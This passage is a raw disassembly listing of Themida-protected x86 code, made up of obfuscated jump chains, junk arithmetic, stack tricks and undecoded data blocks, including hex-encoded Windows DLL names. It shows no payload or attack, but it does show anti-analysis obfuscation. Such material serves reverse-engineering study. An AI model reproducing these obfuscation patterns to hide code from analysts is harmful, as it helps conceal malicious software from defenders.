		add	ebp, 411A63C1h
		add	ecx, ebp
		pop	ebp
		push	eax
		push	4
		pop	eax
		sub	ecx, 69D815C1h
		sub	ecx, 707F6BA6h
		add	ecx, 558D116Ah
		sub	ecx, eax
		sub	ecx, 558D116Ah
		add	ecx, 707F6BA6h
		jmp	loc_5664DF
; ---------------------------------------------------------------------------
		dd 4240483h, 0ACA9E959h, 85BFFFFFh, 0E94A555Ah,	0FFFFC633h
; ---------------------------------------------------------------------------

loc_566380:				; CODE XREF: Themida_:00563EC7j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	1F6Fh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55B6FD
; ---------------------------------------------------------------------------
		db 68h
		dd 37E8h, 68243489h, 5378h, 0B8240489h,	620B048Ch, 0DDF5E948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5663C6:				; CODE XREF: Themida_:00553AC2j
		sub	ecx, 1EBB73E1h
		add	ecx, eax
		add	ecx, 1EBB73E1h
		jmp	loc_551669
; ---------------------------------------------------------------------------
		db 1, 0C5h, 81h
		dd 0D36CFAC5h, 0F5A5E94Dh, 8F5CFFFEh, 11E92404h, 1FFFF24h
		dd 95E95DE9h, 8BFFFF5Dh, 0C4812414h, 4,	34FFC821h, 240C8B24h
		dd 3FA868h, 240C8900h, 0C181E189h, 4, 0D5B5E955h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56641E:				; CODE XREF: Themida_:00552F9Dj
		dec	edx
		neg	edx
		shl	edx, 8
		or	edx, 3795437Dh
		jmp	loc_553AC7
; ---------------------------------------------------------------------------
		db 41h
		dd 0B0C3C181h, 68E9216Ah, 81FFFEE7h, 4C4h, 24048F00h, 6824248Bh
		dd 5811h, 0FEFD74E9h, 39F281FFh, 1007F5Bh, 24148BD6h, 0FF7ABEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566461:				; CODE XREF: Themida_:0056199Cj
		sub	esi, eax
		add	esi, 70210869h
		pop	eax
		jmp	loc_5612A9
; ---------------------------------------------------------------------------
		db 81h
		dd 933020EAh, 0E9F20147h, 0FFFEDED5h, 7B3040BBh, 0B419E914h
		dd 0EA81FFFFh, 4, 5C241487h, 0BF243C89h, 19CE2DD1h, 0FF2997E9h
		dd 4C483FFh, 0E9241433h, 0FFFF7404h, 0B82FE95Bh, 0EF01FFFEh
		dd 0FF0E4DE9h, 0C66858FFh, 89000028h, 8953242Ch, 4C381E3h
		dd 0E9000000h, 0FFFF6C17h, 8759CE01h, 76E92434h, 5EFFFF27h
		dd 8CE9DAF7h
		db 17h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5664DF:				; CODE XREF: Themida_:00566367j
		add	ecx, 69D815C1h
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_551CCF
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BF243C89h, 4BAD0FE4h, 0E908EFC1h, 0FFFEF132h, 42474FFh
		dd 0FED170E9h, 64E95AFFh, 33FFFED0h, 248B2404h,	241C8924h
		dd 8904EC83h, 1C8B2404h, 4C48324h, 0A6BD5558h, 81E39A05h
		dd 954AACC3h, 0A0FFE900h
		db 2 dup(0FFh)
word_566542	dw 8B66h		; DATA XREF: Themida_:00551334o
		dd 0DA68240Ch, 8900006Eh, 0EC832434h, 48F5404h,	24048124h
		dd 4, 8124348Bh, 4C4h, 0B8505200h, 731A0930h, 0FF33ADE9h
		dd 24048BFFh, 4C481h, 2C330000h, 242C3124h, 0E9242C33h
		dd 0FFFF433Ch
; ---------------------------------------------------------------------------

loc_566588:				; CODE XREF: Themida_:00554708j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55A103
; ---------------------------------------------------------------------------
		db 66h
		dd 80DAF658h, 0D030F0EAh, 58C3005Ah, 6E68C300h,	0E9000078h
		dd 0FFFF2DBAh, 2C681h, 17E90000h, 81FFFF21h, 4ECh, 24148900h
		dd 0FF6F29E9h, 0C78158FFh, 44595EF2h, 0EF81EF01h, 44595EF2h
		dd 74FF575Dh, 34FF0424h, 0B888E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5665EE:				; CODE XREF: Themida_:0056209Dj
		xor	eax, [esp]
		pop	esp
		push	5704h
		mov	[esp], esi
		mov	esi, 55114A53h
		push	ecx
		jmp	loc_553A82
; ---------------------------------------------------------------------------

loc_566605:				; CODE XREF: Themida_:00564E18j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5514EB
; ---------------------------------------------------------------------------
		db 0FEh, 0CBh, 80h
		dd 0DD0028EBh, 80D5285Bh, 8B660AEDh, 0C4812414h, 2, 0FFCD47E9h
		dd 57E689FFh, 4BFh, 5FFE0100h, 0FECA82E9h, 8CB25FFh, 472D0691h
		dd 0E9ED9CBAh, 0FFFF0345h, 4C481h, 7EE90000h, 51FFFF1Ch
		dd 0FF0707E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566661:				; CODE XREF: Themida_:00551C27j
		shr	ebx, 5
		inc	ebx
		jmp	loc_5517B8
; ---------------------------------------------------------------------------

loc_56666A:				; CODE XREF: Themida_:0055524Aj
		push	edx
		mov	edx, 4
		add	esi, edx
		jmp	loc_559D44
; ---------------------------------------------------------------------------
		db 0B6h
		dd 8BF40082h, 74E92414h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_566683:				; CODE XREF: Themida_:0055E177j
		push	ebx
		mov	ebx, 159E21EFh
		inc	ebx
		not	ebx
		inc	ebx
		shl	ebx, 1
		dec	ebx
		add	ebx, 6C95AE0Dh
		or	edx, ebx
		jmp	loc_554011
; ---------------------------------------------------------------------------

loc_56669D:				; CODE XREF: Themida_:0055F8FDj
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55164F
; ---------------------------------------------------------------------------
		db 54h,	5Bh, 81h
		dd 4C3h, 4C38100h, 53000000h, 42474FFh,	0C6DDE95Bh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5666CA:				; CODE XREF: Themida_:00562606j
		pop	ecx
		xor	ebx, 0A8804041h
		add	ecx, ebx
		pop	ebx
		and	eax, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_55D7F9
; ---------------------------------------------------------------------------
byte_5666EF	db 0ADh			; DATA XREF: Themida_:00551340o
		dd offset loc_561E64+4
		dd 1D77E900h, 0C481FFFFh, 4, 0E9241C33h, 0FFFF786Bh, 4EC81h
		dd 1C890000h, 0E193E924h, 0EB01FFFEh, 0B02AE956h
		db 2 dup(0FFh)
word_56671E	dw 28Fh			; DATA XREF: Themida_:00551388o
		dd 0FEADC6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566725:				; CODE XREF: Themida_:0055842Bj
		mov	[esp], ecx
		mov	ecx, 327401C6h
		not	ecx
		push	785Bh
		mov	[esp], ebp
		jmp	loc_5609B8
; ---------------------------------------------------------------------------

loc_56673C:				; CODE XREF: Themida_:0055FF62j
		push	ecx
		mov	ecx, 514B4FE2h
		push	ebp
		mov	ebp, 5048070Dh
		mov	ebx, 65384119h
		add	ebx, ebp
		pop	ebp
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, ebx
		jmp	loc_55EA83
; ---------------------------------------------------------------------------
		db 89h
		dd 4B951E6h, 1000000h, 0C68159CEh, 2, 8B243487h, 0C8282424h
		dd 8B667404h, 0C481240Ch, 2, 86B6E950h,	8166FFFFh, 661FB8C6h
		dd 348BF001h, 4C48324h,	0E9C82966h, 0FFFFF93Bh,	4C481h
		dd 8B5B0000h, 0C481243Ch, 4, 0E959C829h, 0FFFF81A1h
; ---------------------------------------------------------------------------

loc_5667B8:				; CODE XREF: Themida_:00561A00j
		not	edx
		xchg	edx, ebx
		not	ebx
		or	ebx, 7332237Ah
		neg	ebx
		shr	ebx, 2
		add	ebx, 0F131DBBCh
		jmp	loc_55FE6C
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 54E201B7h, 2414F751h, 0FF7F47E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5667E5:				; CODE XREF: Themida_:005524B2j
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5550A4
; ---------------------------------------------------------------------------

loc_5667F6:				; CODE XREF: Themida_:0055F34Aj
		push	ecx
		mov	ecx, 4F5C1D3Eh
		jmp	loc_55A709
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0FF0311E9h, 4EC83FFh, 0E9241C89h, 0FFFFDE86h, 0B3E2E95Ah
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56681A:				; CODE XREF: Themida_:0055A65Dj
		push	5D09h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5669AA
; ---------------------------------------------------------------------------
		db 43h
		dd 7BAAEB81h, 0DBF73CE6h, 0FEDB85E9h, 665E66FFh, 148BD089h
		dd 4C48124h, 66000000h,	0E907E8C1h, 0FFFF6CD7h
; ---------------------------------------------------------------------------

loc_566860:				; CODE XREF: Themida_:005522B6j
		xor	eax, 138313C4h
		jmp	loc_56029A
; ---------------------------------------------------------------------------
word_56686A	dw 52ADh		; DATA XREF: Themida_:005512DCo
		dd 624F77BAh, 0EA814A76h, 5C9421A5h, 0FEBC3AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56687D:				; CODE XREF: Themida_:0056480Bj
		mov	esp, [esp]
		add	[esp], eax
		pushf
		jmp	loc_5514EB
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FFBD1DE9h, 0ABD66FFh, 0E92966CFh, 0FF2EB9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56689D:				; CODE XREF: Themida_:0055EC5Aj
		pop	edi
		sub	edx, eax
		add	edx, 533970C5h
		jmp	loc_564272
; ---------------------------------------------------------------------------
		db 54h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 2B402784h
		add	edx, 78D123A2h
		add	edx, 1DF27DF6h
		xchg	esi, edx
		neg	esi
		xchg	esi, edx
		jmp	loc_55533C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 28E92414h, 0C1FFFFE4h, 0B85004E9h, 40D571B9h, 0D2CA835h
		dd 58C10146h, 0F4E9C829h
		db 16h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5668EF:				; CODE XREF: Themida_:00553407j
		shr	ebp, 4
		jmp	loc_562DAC
; ---------------------------------------------------------------------------
		db 83h
		dd 0C48004C4h, 24148B9Dh, 4C481h, 88520000h, 5AD388E2h
		dd 68CBFE58h, 55B0h, 0B6241489h, 46C680B9h, 0D6E9F300h
		dd 5EFFFED2h, 5C243C87h, 24048B66h, 4EC81h, 4890000h, 0E225E924h
		dd 2BB6FFFEh, 6602EC83h, 30241489h, 0E9012464h,	0FFFEE3A1h
		dd 5C241C33h, 0FEEA05E9h, 6EAC1FFh, 0D104EAC1h,	0FCEA81EAh
		dd 5193F1ADh, 160E9h, 0CD814D00h, 7D584222h, 0FF701AE9h
		dd 243489FFh, 4BEh, 5EF00100h, 679DBB53h, 0C38174F5h, 8B0A9867h
		dd 0E95BD801h, 0FFFFDEF5h, 894EA81h, 0D0015FE6h, 52D8295Ah
		dd 7E4250BAh, 0DC9EE914h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5669AA:				; CODE XREF: Themida_:00566836j
		push	7556h
		mov	[esp], eax
		push	esp
		pop	eax
		push	5878h
		jmp	loc_55612D
; ---------------------------------------------------------------------------

loc_5669BE:				; CODE XREF: Themida_:00553F83j
		add	[esp+4], edi
		mov	edi, [esp]
		push	edi
		push	esp
		jmp	loc_55746B
; ---------------------------------------------------------------------------
		dd 4C481h, 0FF510000h, 0E9042474h, 0FFFFD343h, 9C240431h
		dd 0FEAB06E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5669E5:				; CODE XREF: Themida_:0055A393j
		and	ebp, edi
		pop	edi
		push	edx
		mov	edx, 6C4C15A7h
		xor	edx, 4EF66F0Fh
		add	edx, 419852C2h
		shr	edx, 8
		add	edx, 0FC96A112h
		jmp	loc_556389
; ---------------------------------------------------------------------------
		dd 81240401h, 3929242Ch, 48135F2h, 4419A224h, 9C0FE925h
		dd 34FFFFFFh, 2434FF24h, 8324348Bh, 895604C4h, 0AA46E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566A32:				; CODE XREF: Themida_:00565CCFj
		xor	edx, 0E2F2DDADh
		or	edi, edx
		pop	edx
		push	4B00h
		mov	[esp], ebx
		mov	ebx, 5F562B1Dh
		and	edi, ebx
		push	dword ptr [esp]
		jmp	loc_55854D
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 82F28104h, 29B65128h, 84ACE9D0h, 0E940FFFFh,	0FFFEF2CEh
		dd 0F6240CFEh, 59662414h, 0FF5535E9h, 4EE381FFh, 81439153h
		dd 6E0AE6C3h, 5BDA2929h, 7768EA29h, 89000041h, 5DBF243Ch
		dd 0C113A309h, 534F06E7h, 2C37CCBBh, 5BDF212Eh,	45E0C781h
		dd 0FA01026Fh, 89565D5Fh, 0EDABE9E6h, 835EFFFEh, 48F04C4h
		dd 13DEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566ABE:				; CODE XREF: Themida_:0055D9B9j
		pop	esp
		push	59Fh
		jmp	loc_564D85
; ---------------------------------------------------------------------------
		db 0B9h, 0A5h, 42h
		dd 0E9C1140Fh, 0B8BB5308h, 29C2099Bh, 0F429E9D9h, 0F000FFFFh
		dd 8124148Bh, 4C4h, 0CC5EE900h,	0CF01FFFFh, 4C78159h, 0E9000000h
		dd 0FFFECC47h, 1B79CD81h, 0B8504544h, 22F7FCDDh, 20F8C581h
		dd 0C52948A3h, 20F8ED81h, 14E948A3h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566B1B:				; CODE XREF: Themida_:005548DEj
		mov	esi, 20CD5ECBh
		jmp	loc_55EAD3
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0CAh
		dd 811E1B21h, 0EBD74CC3h, 0D9F5E98Fh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_566B36:				; CODE XREF: Themida_:00554F89j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_551E35
; ---------------------------------------------------------------------------

loc_566B49:				; CODE XREF: Themida_:005600F6j
		sub	ebp, ecx
		pop	ecx
		pop	eax
		push	ebx
		push	4
		jmp	loc_55C2EA
; ---------------------------------------------------------------------------
		dd 0D3BE565Fh, 0E9358F6Bh, 0FFFFA922h, 52D4C581h, 4BE93547h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566B6F:				; CODE XREF: Themida_:005644DDj
		mov	[esp], eax
		mov	eax, esp
		push	edi
		jmp	loc_55396F
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 2BA52h, 0D1010000h, 0FFFC87E9h, 66D300FFh, 70EB805Ah
		dd 0E904EC83h, 0FFFEE69Ah, 1E46EF81h, 0EF816EF9h, 307E768Bh
		dd 0C781D729h, 307E768Bh, 0A98B951h, 0C1816AFEh, 7B65B74h
		dd 0E1C1E1D1h, 81D1F706h, 35E7B9F1h, 0E681E9CBh, 0EE29FFFEh
		dd 91E9555Dh, 0BEFFFEEDh, 20F60431h, 0FEF127E9h, 8BD301FFh
		dd 0C4832414h, 4EB8104h, 33000000h, 1C31241Ch, 241C3324h
		dd 0FF30DEE9h, 59E959FFh, 0FFFFFF68h, 2C8B2434h, 4C48124h
		dd 81000000h, 4ECh, 0F0C4E900h,	0CCE9FFFFh
		db 0A8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_566C1F:				; CODE XREF: Themida_:0055490Dj
		shl	ebp, 6
		shl	ebp, 7
		sub	ebp, 2AED19DBh
		add	ebp, 112615B9h
		sub	ebp, 5287BBDAh
		add	ebx, ebp
		pop	ebp
		jmp	loc_55CCBB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 4BF5704h, 57000000h, 0FEB6D3E9h,	5FFD31FFh
		dd 1BE95750h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566C5B:				; CODE XREF: Themida_:0055A285j
		not	dword ptr [esp]
		pop	esi
		xor	esi, 418F2053h
		add	esi, 692C0C22h
		jmp	loc_556D97
; ---------------------------------------------------------------------------

loc_566C70:				; CODE XREF: Themida_:0055D9A4j
		push	ebx
		mov	bl, 0BEh
		mov	dl, bl
		pop	ebx
		jmp	loc_563A33
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F38106E3h, 3C2CE086h, 0FEFFE0E9h, 55C181FFh, 0E9FE1408h
		dd 0FFFF04CDh, 4C48158h, 0E9000000h, 0FFFF4945h, 8923E952h
		dd 34FFFFFFh, 0CA685D24h, 89000046h, 0FF542404h, 81582434h
		dd 4C4h, 40500h, 0A7E90000h
		db 0F4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_566CC7:				; CODE XREF: Themida_:0056146Cj
		xor	edi, edx
		xor	edx, edi
		xor	edi, ebx
		xor	ebx, edi
		xor	edi, ebx
		push	7E3Dh
		jmp	loc_560376
; ---------------------------------------------------------------------------
		db 1
		dd 23C681DEh, 0E966FB39h, 0FFFF4C0Eh, 0E9241C89h, 0FFFFAF63h
		dd 126EBE56h, 74016FDAh, 0F8E90824h, 5FFFFF91h,	8B241C87h
		dd 0ABE92424h, 5AFFFF12h, 81E38953h, 4C3h, 40FAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566D1A:				; CODE XREF: Themida_:00558417j
		mov	ecx, [esp]
		add	esp, 4
		pop	esi
		jmp	loc_554EDD
; ---------------------------------------------------------------------------
		db 80h,	0CAh, 0A6h
		dd 6AE9D2F6h, 81FFFF69h, 8574D5E6h, 0C6EE816Ch,	8927FF99h
		dd 24348BF1h, 4C481h, 89560000h, 5E5A56CEh, 81240C8Bh
		dd 4C4h, 87F28700h, 87D7F7FEh, 31F231FEh, 81F231D6h, 0FA852DEAh
		dd 0E9D701E3h, 0FFFECCA1h, 50E18851h, 0FF086BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566D7D:				; CODE XREF: Themida_:00555E1Cj
		mov	ebx, 3D287768h
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55CEE8
; ---------------------------------------------------------------------------
		dw 54E9h
		dd 1FFFEA7h, 1F64E9CAh,	0F120FFFFh, 5EE9805Ah, 0BDE95166h
		dd 8BFFFFFCh, 0E3E92414h
		db 0D3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_566DB3:				; CODE XREF: Themida_:0056068Dj
		add	edi, ebp
		push	ebp
		mov	ebp, 47E82D70h
		sub	edi, ebp
		jmp	loc_55BD58
; ---------------------------------------------------------------------------
		dw 0A2BFh
		dd 816DDA0Bh, 41FEA8C7h, 0CF9EE99Ch, 0C281FFFFh, 63FB4EB4h
		dd 0EA81EA01h, 63FB4EB4h, 0D70C281h, 575D3955h,	0CD7B95BFh
		dd 247C2905h, 54015F08h, 5FE90424h, 0E8FFFEEBh,	0Ch, 92C664AEh
		dd 1F1D8AE0h, 9CA73AADh, 5ADEBF0Fh, 58A0Fh, 0F570000h
		dd 8159C7B7h, 702AC2h, 3369B400h, 0D88166FFh, 348B464Ah
		dd 12E8603Ah, 0DA000000h, 0C2891519h, 147C886h,	0B64227B7h
		dd 4C9B76FEh, 810F7Ah, 58000000h, 40C68161h, 8B405C92h
		dd 0C7C681C2h, 0E875DC3Eh, 12h,	0BBDFB591h, 6FB2AA33h
		dd 5673206Bh, 6D142ACAh, 0EF8ABC38h, 37EE8159h,	80443719h
		dd 0B4566BD1h, 3A048F46h, 2820Fh, 59530000h, 7E94BB66h
		dd 0F04EF83h, 0FF81DBBFh, 0FFFF90B0h, 20850Fh, 890F0000h
		dd 2, 2FE9C88Bh, 0DB000000h, 39D7B8ECh,	7147783Dh, 86E19FEAh
		dd 0A5F8092Dh, 0B9B847CAh, 0E971CCFAh, 0FFFFFF5Eh, 0F64A5071h
		dd 0BE71531Dh, 0B9959EA0h, 0CAD1719Ch, 36EB16CBh, 52455355h
		dd 642E3233h, 41006C6Ch, 50415644h, 2E323349h, 6C6C64h
		dd 4C44544Eh, 6C642E4Ch, 7D7006Ch, 40007h, 12001Ah, 2D0001h
		dd 0DAD90231h, 1E91CB4h, 68000008h, 64AA27Eh, 0FDDBA6E9h
		dd 0A2FF68FFh, 9CE9064Ah, 68FFFDDBh, 64AA3F8h, 0FDDB92E9h
		dd 0A52568FFh, 88E9064Ah, 68FFFDDBh, 64AA595h, 0FDDB7EE9h
		dd 0A69C68FFh, 74E9064Ah, 68FFFDDBh, 64AA703h, 0FDDB6AE9h
		dd 91DD8FFFh, 93DFF6A7h, 94E0F8A9h, 97E3FB9Ch, 97E3FC9Dh
		dd 9318BE9Dh, 97C870BCh, 9DBE76C2h, 0A1C27AC6h,	0BFD37DC9h
		dd 54DFCF9Bh, 764D5611h, 32C44F2Ch, 824EFA12h, 498E95B5h
		dd 0BBD92807h, 9C64D5F0h, 570BEB4Dh, 40E9400Bh,	0DA334824h
		dd 16F92920h, 2C25162Ah, 0CA2294E0h, 6F0F29A0h,	5D726DDBh
		dd 99759C72h, 556BCDA4h, 8027E3E7h, 0BA552369h,	69B5AD8Eh
		dd 0CC82B3EFh, 0B1A9B680h, 6BF3C565h, 9DC61328h, 67EB8h
		dd 5510300h, 7530A4Bh, 8540C4Dh, 0B570F50h, 0B571051h
		dd 870CD251h, 8BCC84D0h, 91D28AD6h, 0F5A68EDAh,	33A791DDh
		dd 5573E3E7h, 22C15611h, 1D698120h, 5F4F1B3Fh, 74FC6B3h
		dd 0C6B35343h, 0E83EE14Fh, 0F21B677Fh, 0EA5A1F28h, 915A76D2h
		dd 0DB498C13h, 362F0834h, 2E0861EAh, 24E0536h, 0C587566h
		dd 2CD52E13h, 3A3C2AA0h, 3D5EF23Ch, 2E51DA26h, 4022F03Ch
		dd 61CAF0BFh, 5FD2716h,	0D2820000h, 0D08DCE86h,	0D58BCC84h
		dd 0D88ECF89h, 0DCF3A48Ch, 11B9A890h, 0CD87D38Ch, 0CF89D58Ch
		dd 0A791DD8Eh, 0A098E4F6h, 6ADCF03Ch, 0CA561155h, 6981272Bh
		dd 5D75221Dh, 0F20E1611h, 0E2C00EC9h, 0C2F5E025h, 64130CF5h
		dd 54071E6Ah, 73E5317Dh, 0A1851A90h, 3EFE54F1h,	98000000h
		dd 331D6981h, 0B31C9649h, 8D454FC6h, 0F1186477h, 329C2A53h
		dd 0D571D59Ah, 1E1E1539h, 0D3965A06h, 1498FBEh,	51E421Eh
		dd 60C7A8C9h, 89D66077h, 8DCE86D2h, 5CC18AD6h, 567h, 1D6981F2h
		dd 0F541163Fh, 0EB4D2419h, 0CC6367D5h, 34498E92h, 46014D03h
		dd 2ED157E3h, 2F7D5506h, 4B214223h, 7AE24B6Ah, 6520D2Eh
		dd 5333052Ch, 6CD8317Dh, 0D4FCA660h, 7A71D64Fh,	5069D72Eh
		dd 0C8F14F9Bh, 7AEC0011h, 0BA4FC8FBh, 0EC64AE57h, 0B36CB8ABh
		dd 0B482CE84h, 0CCB8EEC8h, 4BB9AC5h, 89000005h,	8CCD87D3h
		dd 8ACB85D1h, 91D28AD6h, 8ECF89D5h, 0B4A38DD9h,	82CE890Eh
		dd 84D089DAh, 8CD88BCCh, 93DFF3A4h, 0E5E935A9h,	56115671h
		dd 811E20C3h, 392A1B69h, 0CD158965h, 0F8174FC6h, 362F360Fh
		dd 0D750460Ah, 3DE44FC6h, 885F78E4h, 0D7037377h, 0CE314FC6h
		dd 3562DB37h, 0CE56D11Dh, 0BF0D6DA8h, 0EC4FC6D7h, 0F13A364Ah
		dd 0FEF74F54h, 86E7FFFFh, 0B43F495Ah, 2357233Dh, 0C7AF6155h
		dd 0E22CD34Fh, 16115D75h, 7DEB0143h, 8F9AE671h,	3FF91849h
		dd 0B213223h, 26210854h, 40F743h, 0C3707CE8h, 0F94FD77Bh
		dd 0C7F0D16h, 5D4FC77Ch, 9B289E75h, 0E854F1DAh,	163h, 7D55867Eh
		dd 0CB46E531h, 55F3093Bh, 8E95AE79h, 0E0210049h, 0D2C488B4h
		dd 62560EDAh, 0ACF773BFh, 3C9C64D5h, 3337481Bh,	2F58EE43h
		dd 2CF70EF1h, 46F639D5h, 253E122Eh, 72920DAh, 0EA5A1F28h
		dd 985A76D2h, 0D42368A1h, 7B546A63h, 112FD62Fh,	7AE63228h
		dd 1A4E1C29h, 76D2B1D2h, 5953E45Ah, 4DE9482Fh, 36825809h
		dd 280722D8h, 69CC9713h, 3D7h, 143C885Ch, 163E8A43h, 153F8B45h
		dd 163E8A44h, 163E8A45h, 253ABF07h, 2B3E5FD9h, 2F2475DFh
		dd 322879E3h, 466A6EE6h, 1158342Ah, 0D1DDF856h,	7A811D86h
		dd 0C03CC07Fh, 6B81C376h, 2A02F1FDh, 0D53C498Ch, 8D2A5367h
		dd 2BF58BFCh, 0DA2A1C30h, 270A5610h, 302334FEh,	382B6CE4h
		dd 3DE43022h, 317D5502h, 0F08127E1h, 44B982CAh,	367h, 84ACF8ECh
		dd 86AEFAD3h, 85AFFBD5h, 86AEFAD4h, 86AEFAD5h, 0B5AA2F97h
		dd 0BBAEEF69h, 0BF94C56Fh, 0C298C973h, 96DABE76h, 1158C4BAh
		dd 418D6856h, 221D6981h, 16115D75h, 0FC9F20Eh, 22E177C3h
		dd 0C6B3F2C2h, 3A1B494Fh, 0F54CD723h, 16A93B19h, 281154F1h
		dd 366E12Dh, 0A8158965h, 0F8174FC6h, 0FD63111Eh, 81A5FFFFh
		dd 4F221D69h, 0A721D5EDh, 0FA4EFA1Fh, 0A193513h, 0E4498EB4h
		dd 4F29133Dh, 0EF0739B9h, 0E36A036Ch, 1E4AE323h, 3AD4203Dh
		dd 0C5014E22h, 4C6D498Eh, 43174894h, 60051BF7h,	1C053E8Ah
		dd 0EFC8F405h, 0A62ACF8h, 0EE19CAAAh, 9CE8FBDCh, 879D9F92h
		dd 1A7E15D9h, 0D1EAF7EEh, 0EE53CC18h, 2823FE24h, 6BD9EF51h
		dd 0EF5F6B4Fh, 3DF7DE09h, 0DE1C58E2h, 48F1A5E1h, 0E32F7B6Fh
		dd 5A86E23Dh, 3D380249h, 25CE3D31h, 0F710EFFEh,	5110811h
		dd 0FE368258h, 0D939855Dh, 62E5ED31h, 6046B780h, 0E5000002h
		dd 0E8B9A3EFh, 0E6B7A1EDh, 0EDAEA6F2h, 0EAABA5F1h, 0B0AFA9F5h
		dd 5EAAA52Ah, 60ACA5F6h, 68B4A7F8h, 6FBBAFF0h, 0C18DD1C5h
		dd 561159CDh, 5B3A845Fh, 4C09E9h, 1D4BE247h, 8C13EC51h
		dd 0A1BF6249h, 0E957A3B8h, 430718D0h, 56115453h, 5CE73EE1h
		dd 74252905h, 6718135Fh, 0D072773h, 48CAF007h, 1F93E1Fh
		dd 6E7E0000h, 6C693A22h, 71673820h, 746A2B25h, 786F3028h
		dd 0AD15042Ch, 79E32F28h, 6BE53128h, 43ED392Ah,	3CF44012h
		dd 46381458h, 0E656115Ah, 0E95BC30Fh, 754975D3h, 0C6B2E559h
		dd 4EE8474Fh, 8C13BF26h, 0FC86D49h, 419F88C3h, 0DAFD3F43h
		dd 5FFD24FDh, 2C186476h, 462348D3h, 43CF46CFh, 30240Bh
		dd 0BF208864h, 0F1105610h, 24E0936h, 767A66h, 345610BFh
		dd 28746ACDh, 2512390Eh, 0FF76DE2Ah, 313D2B59h,	5610BF45h
		dd 700F18F7h, 4EF52E7Ah, 0E60D156Eh, 7940790Bh,	5EAAC09Dh
		dd 9C12DE02h, 905610C5h, 0F5B1A571h, 9560978Ch,	7BDCDADCh
		dd 45121C68h, 0FE707C8Dh, 2E56112Ah, 53F13AD3h,	9257162h
		dd 0B8E4531Ah, 0B17DC99Fh, 8BF4649Fh, 92B60EB8h, 0D788924Fh
		dd 0DC7DB703h, 0CE71BA06h, 2552CD19h, 3669E22Eh, 0D54BD420h
		dd 58B9649Fh, 0EC382B0Ch, 0B23CB413h, 74BE76BEh, 0A0B227DEh
		dd 0A4BBDC54h, 0FCD0EC58h, 56118F8Ah, 92AB87AAh, 1F3BFCB3h
		dd 8F3F2F3Bh, 12ED5611h, 8F241A36h, 29085611h, 13884B0Dh
		dd 1748F03Ch, 112BF440h, 4AE43028h, 410A560Dh, 8152830Fh
		dd 0FB17EA35h, 4E097E55h, 51095A02h, 0FE323A05h, 54FE00B1h
		dd 8052C7FEh, 875BFC34h, 6354F03Bh, 4029226Eh, 226E69F6h
		dd 12F14729h, 539FB9A2h, 78C496C7h, 7FCB9FC0h, 0B5CB6DC4h
		dd 5834C387h, 1F0207C8h, 3E186935h, 595B3C6Dh, 0C878BF5Bh
		dd 25B894B0h, 0B01FE0Dh, 5C72885Ah, 1710F910h, 3A267268h
		dd 0B544A26h, 39D80E02h, 322879DDh, 37297AE6h, 0F006359Ch
